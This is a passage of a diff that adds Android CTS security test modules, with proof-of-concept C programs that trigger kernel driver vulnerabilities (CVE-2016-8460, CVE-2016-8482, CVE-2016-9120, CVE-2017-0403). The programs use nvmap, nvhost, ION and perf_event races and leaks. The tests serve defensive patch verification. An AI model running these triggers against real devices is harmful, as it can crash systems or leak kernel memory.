+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+		if(ret){
+			ERR("[-] create close thread %d failed", i);
+			goto out_close_thread;
+		}
+	}
+	#endif
+
+	#if 1
+	for(i = 0; i < TRY_TIMES; i++){
+		LOG("[+] %03d times", i);
+		/* open */
+		ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
+		if(ret == -1) {
+			ERR("[-] ioctl failed");
+		} else {
+			LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
+		}
+		//usleep(200);
+	}
+	#endif
+	
+out_close_thread:
+	attack = 0;
+	/* kill close thread */
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		if(close_thread_id[i])
+			pthread_join(close_thread_id[i], NULL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
new file mode 100644
index 0000000..e054dd2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8460
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c
new file mode 100755
index 0000000..78d41e5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8460/poc.c
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <errno.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+struct nvmap_pin_handle {
+	__u32 *handles;		/* array of handles to pin/unpin */
+	unsigned long *addr;	/* array of addresses to return */
+	__u32 count;		/* number of entries in handles */
+};
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+
+struct nvmap_pin_handle_32 {
+	__u32 handles;		/* array of handles to pin/unpin */
+	__u32 addr;		/*  array of addresses to return */
+	__u32 count;		/* number of entries in handles */
+};
+
+struct nvmap_map_caller_32 {
+	__u32 handle;		/* nvmap handle */
+	__u32 offset;		/* offset into hmem; should be page-aligned */
+	__u32 length;		/* number of bytes to map */
+	__u32 flags;		/* maps as wb/iwb etc. */
+	__u32 addr;		/* user pointer*/
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PIN_MULT      _IOWR(NVMAP_IOC_MAGIC, 10, struct nvmap_pin_handle)
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_PIN_MULT_32   _IOWR(NVMAP_IOC_MAGIC, 10, struct nvmap_pin_handle_32)
+#define NVMAP_IOC_MMAP_32    _IOWR(NVMAP_IOC_MAGIC, 5, struct nvmap_map_caller_32)
+
+/* common carveout heaps */
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+
+
+int g_fd = -1;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    return g_fd;
+}
+
+
+int main(int argc, char**argv) {
+    if (open_driver() < 0) {
+        return -1;
+    }
+    
+    int i;
+    int* handles = mmap((void*)0x20000000, 0x1000, PROT_READ | PROT_WRITE , MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    memset(handles, 0x42, 0x1000);
+    for (i = 0; i < 2; ++i) {
+        struct nvmap_create_handle op = {0};
+        op.size = 0x1000;
+        ioctl(g_fd, NVMAP_IOC_CREATE, &op);
+        handles[i] = op.handle;
+        struct nvmap_alloc_handle alloc = {0};
+        alloc.align = 0x1000;
+        alloc.handle = op.handle;
+        alloc.heap_mask = NVMAP_HEAP_CARVEOUT_GENERIC;
+        alloc.flags = NVMAP_HANDLE_ZEROED_PAGES;
+        ioctl(g_fd, NVMAP_IOC_ALLOC, &alloc);
+    }
+
+    void* leak_addr = (void*) 0x10001000;
+    void* mmap_addr = mmap(leak_addr, 0x1000, PROT_READ | PROT_WRITE , MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    memset(leak_addr, 0x41, 0x1000);
+
+    unsigned long leaked_data = 0;
+    struct nvmap_pin_handle_32 pin = {0};
+    pin.count = 2;
+    pin.handles = (unsigned int) handles;
+    struct nvmap_pin_handle err_pin = {0};
+    err_pin.count = 0;
+    err_pin.handles = handles;
+    err_pin.addr = leak_addr + 8;
+
+    ioctl(g_fd, NVMAP_IOC_PIN_MULT, &err_pin);  // construct op.addr
+    ioctl(g_fd, NVMAP_IOC_PIN_MULT_32, &pin);
+
+    for (i = 0; i < 10; ++i) {
+        if(((int*)leak_addr)[i] != 0x41414141 && 0 == leaked_data) {
+          leaked_data = (unsigned long)((int*)leak_addr) + i;
+        }
+    }
+
+    if (leaked_data) {
+        printf("Vulnerable");
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
new file mode 100644
index 0000000..d3f76b6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8482
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c
new file mode 100644
index 0000000..41862a5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8482/poc.c
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+#define NVMAP_IOC_MAGIC 'N'
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+
+#define NVHOST_IOCTL_MAGIC 'H'
+struct nvhost_set_error_notifier {
+	__u64 offset;
+	__u64 size;
+	__u32 mem;
+	__u32 padding;
+};
+#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
+	_IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
+	}
+	return ret;
+}
+
+struct nvhost_submit_args {
+	__u32 submit_version;
+	__u32 num_syncpt_incrs;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 timeout;
+	__u32 flags;
+	__u32 fence;		/* Return value */
+	__u64 syncpt_incrs;
+	__u64 cmdbuf_exts;
+
+	__u64 pad[3];		/* future expansion */
+
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 reloc_shifts;
+	__u64 waitchks;
+	__u64 waitbases;
+	__u64 class_ids;
+	__u64 fences;
+};
+#define NVHOST_IOCTL_CHANNEL_SUBMIT	\
+	_IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)
+
+struct nvhost_syncpt_incr {
+	__u32 syncpt_id;
+	__u32 syncpt_incrs;
+};
+
+#define CLOSE_THREAD_NUM	1
+#define TRY_TIMES		2
+#define NVMAPDEV	"/dev/nvmap"
+#define VICDEV		"/dev/nvhost-vic"
+#define SYNC_NUM	1
+struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+int nvmap, vic;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	int ret;
+	set_affinity(1);
+
+	while(attack){
+		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, j, ret;
+	int dma1, dma2;
+	struct nvmap_create_handle args = { 
+		.size = PAGE_SIZE
+	};
+	struct nvmap_alloc_handle alloc = {
+		.heap_mask = 0xFFFFFFFF
+	};
+
+	struct nvhost_syncpt_incr incr[SYNC_NUM];
+
+	struct nvhost_submit_args submit = { 
+		.num_syncpt_incrs = SYNC_NUM,
+		.syncpt_incrs = (intptr_t)incr,
+		.timeout = 1,
+		//.class_ids = (intptr_t)&ret
+	};
+
+	memset(incr, 0, sizeof(incr));
+	incr[0].syncpt_id = 6;
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	nvmap = open(NVMAPDEV, O_RDONLY);
+	if(nvmap == -1)
+		ERR("[-] open %s failed", NVMAPDEV);
+	else
+		LOG("[+] open %s OK", NVMAPDEV);
+
+	vic = open(VICDEV, O_RDONLY);
+	if(vic == -1)
+		ERR("[-] open %s failed", VICDEV);
+	else
+		LOG("[+] open %s OK", VICDEV);
+
+	// prepare 
+	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
+	if(ret)
+		ERR("[-] ioctl NVMAP_IOC_CREATE failed");
+	else
+		LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);
+
+	dma1 = args.handle;
+	err1.mem = dma1;
+	alloc.handle = dma1;
+
+	ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
+	if(ret)
+		ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
+	else
+		LOG("[+] NVMAP_IOC_ALLOC succeeded");
+
+	/* create close thread */
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+	}
+	LOG("[+] running...");
+	while(1) {
+		ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
+	}
+
+	LOG("[-] passed :(");
+	attack = 0;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++) {
+		pthread_join(close_thread_id[i], NULL);
+	}
+
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
new file mode 100644
index 0000000..9c68cac
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-9120
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
new file mode 100644
index 0000000..c03ee45
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-9120/poc.c
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+typedef int ion_user_handle_t;
+
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
+				 are at the end of this enum */
+	ION_NUM_HEAPS = 16,
+};
+
+#define ION_HEAP_SYSTEM_MASK		(1 << ION_HEAP_TYPE_SYSTEM)
+#define ION_HEAP_SYSTEM_CONTIG_MASK	(1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
+#define ION_HEAP_CARVEOUT_MASK		(1 << ION_HEAP_TYPE_CARVEOUT)
+#define ION_HEAP_TYPE_DMA_MASK		(1 << ION_HEAP_TYPE_DMA)
+
+#define ION_NUM_HEAP_IDS		sizeof(unsigned int) * 8
+
+struct ion_allocation_data {
+	size_t len;
+	size_t align;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+	ion_user_handle_t handle;
+};
+
+
+struct ion_fd_data {
+	ion_user_handle_t handle;
+	int fd;
+};
+
+
+struct ion_handle_data {
+	ion_user_handle_t handle;
+};
+
+
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+#define ION_IOC_MAGIC		'I'
+
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+
+#define ION_FLAG_CACHED 1		/* mappings of this buffer should be
+					   cached, ion will do cache
+					   maintenance when the buffer is
+					   mapped for dma */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
+					   at mmap time, if this is set
+					   caches must be managed manually */
+                       
+int g_fd = -1;
+struct ion_allocation_data* g_allocation = NULL;
+struct ion_handle_data g_free_data;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+int open_driver() {
+    char* dev_path = "/dev/ion";
+    g_fd = open(dev_path, O_RDONLY);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void prepare_data() {
+    void* data = malloc(0x1000);
+    
+    g_allocation = (struct ion_allocation_data*)data;
+    
+    g_allocation->len = 0x1000;
+    g_allocation->align = 8;
+    g_allocation->heap_id_mask = 1 << 25;
+    g_allocation->flags = ION_FLAG_CACHED;
+    g_allocation->handle = -1;
+    
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+    
+    g_free_data.handle = 1;
+}
+
+void trigger_ion_alloc() {
+    ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
+}
+
+void trigger_ion_free() {
+    ioctl(g_fd, ION_IOC_FREE, &g_free_data);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+    }
+}
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    while (1) {
+        pthread_mutex_lock(&mutex);
+        pthread_cond_wait(&cond, &mutex);
+        trigger_ion_free();
+        pthread_mutex_unlock(&mutex);  
+    }
+    
+}
+
+
+int main(int argc, char**argv) {
+    if (open_driver() < 0) {
+        return -1;
+    }
+    setup_privi_and_affinity(0, 1);
+    prepare_data();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    sleep(1);
+    while (1) {
+        pthread_cond_signal(&cond);
+        usleep(100);
+        trigger_ion_alloc();
+        sleep(1);
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
new file mode 100644
index 0000000..b7ccd24
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0403
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
new file mode 100644
index 0000000..51095e7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+//overwrite object+0x20,like a list initilize
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <sys/wait.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+
+
+struct perf_event_attr {
+
+  /*
+   * Major type: hardware/software/tracepoint/etc.
+   */
+  __u32     type;
+
+  /*
+   * Size of the attr structure, for fwd/bwd compat.
+   */
+  __u32     size;
+
+  /*
+   * Type specific configuration information.
+   */
+  __u64     config;
+
+  union {
+    __u64   sample_period;
+    __u64   sample_freq;
+  };
+
+  __u64     sample_type;
+  __u64     read_format;
+
+  __u64     disabled       :  1, /* off by default        */
+        inherit        :  1, /* children inherit it   */
+        pinned         :  1, /* must always be on PMU */
+        exclusive      :  1, /* only group on PMU     */
+        exclude_user   :  1, /* don't count user      */
+        exclude_kernel :  1, /* ditto kernel          */
+        exclude_hv     :  1, /* ditto hypervisor      */
+        exclude_idle   :  1, /* don't count when idle */
+        mmap           :  1, /* include mmap data     */
+        comm         :  1, /* include comm data     */
+        freq           :  1, /* use freq, not period  */
+        inherit_stat   :  1, /* per task counts       */
+        enable_on_exec :  1, /* next exec enables     */
+        task           :  1, /* trace fork/exit       */
+        watermark      :  1, /* wakeup_watermark      */
+        /*
+         * precise_ip:
+         *
+         *  0 - SAMPLE_IP can have arbitrary skid
+         *  1 - SAMPLE_IP must have constant skid
+         *  2 - SAMPLE_IP requested to have 0 skid
+         *  3 - SAMPLE_IP must have 0 skid
+         *
+         *  See also PERF_RECORD_MISC_EXACT_IP
+         */
+        precise_ip     :  2, /* skid constraint       */
+        mmap_data      :  1, /* non-exec mmap data    */
+        sample_id_all  :  1, /* sample_type all events */
+
+        exclude_host   :  1, /* don't count in host   */
+        exclude_guest  :  1, /* don't count in guest  */
+
+        exclude_callchain_kernel : 1, /* exclude kernel callchains */
+        exclude_callchain_user   : 1, /* exclude user callchains */
+        constraint_duplicate : 1,
+
+        __reserved_1   : 40;
+
+  union {
+    __u32   wakeup_events;    /* wakeup every n events */
+    __u32   wakeup_watermark; /* bytes before wakeup   */
+  };
+
+  __u32     bp_type;
+  union {
+    __u64   bp_addr;
+    __u64   config1; /* extension of config */
+  };
+  union {
+    __u64   bp_len;
+    __u64   config2; /* extension of config1 */
+  };
+  __u64 branch_sample_type; /* enum perf_branch_sample_type */
+
+  /*
+   * Defines set of user regs to dump on samples.
+   * See asm/perf_regs.h for details.
+   */
+  __u64 sample_regs_user;
+
+  /*
+   * Defines size of the user stack to dump on samples.
+   */
+  __u32 sample_stack_user;
+
+  /* Align to u64. */
+  __u32 __reserved_2;
+};
+
+
+#define PAIR_FD 1
+
+int group_fd[PAIR_FD],child_fd[PAIR_FD];
+
+long created = 0;
+long freed = 0;
+long finished = 0;
+
+void *thr(void *arg) {
+  printf("id=%d arg=%d\n",gettid(),arg);
+
+  int i;
+  struct perf_event_attr attr;
+
+  switch ((long)arg) {
+  case 0:
+    //#16123
+    printf("thread 0\n");
+    memset(&attr,0,sizeof(struct perf_event_attr));
+    attr.type = 1;
+    attr.size = sizeof(struct perf_event_attr);
+    attr.config = 1;
+
+      group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
+                    -1, 0x1ul, 0);
+
+      if(group_fd[0]<0){
+        perror("perf-group:");
+      }
+
+
+    memset(&attr,0,sizeof(struct perf_event_attr));
+    attr.type = 1;
+    attr.size = sizeof(struct perf_event_attr);
+    attr.config = 5;
+
+      child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
+
+      if(group_fd[0]<0){
+        perror("perf-child:");
+      }
+
+    created = 1;
+    break;
+  case 1:
+
+    while(!created){
+      sleep(1);
+    }
+
+    printf("thread 1\n");
+    close(group_fd[0]);
+
+    freed = 1;
+
+    break;
+  case 2:
+
+    printf("thread 2\n");
+
+    while(!freed){
+      sleep(1);
+    }
+
+      close(child_fd[0]);
+
+    finished = 1;
+
+    break;
+
+  }
+  return 0;
+}
+
+int poc() {
+  long i;
+  pthread_t th[5];
+  for (i = 0; i < 3; i++) {
+    pthread_create(&th[i], 0, thr, (void *)i);
+    usleep(10000);
+  }
+
+  while(!finished){
+    sleep(1);
+  }
+
+  return 0;
+}
+
+
+int main(int argc, char const *argv[])
+{
+  int pid;
+  unsigned int times;
+  times = 0;
+  printf("POC3\n");
+  printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
+  fflush(stdout);
+
+  // while(1){
+    pid = fork();
+    if(pid){
+      int status;
+      int ret = waitpid(pid,&status,0);
+
+      printf("[%d]times.\r",times);
+      times++;
+    }else
+      return poc();
+  // }
+  return 0;
+}
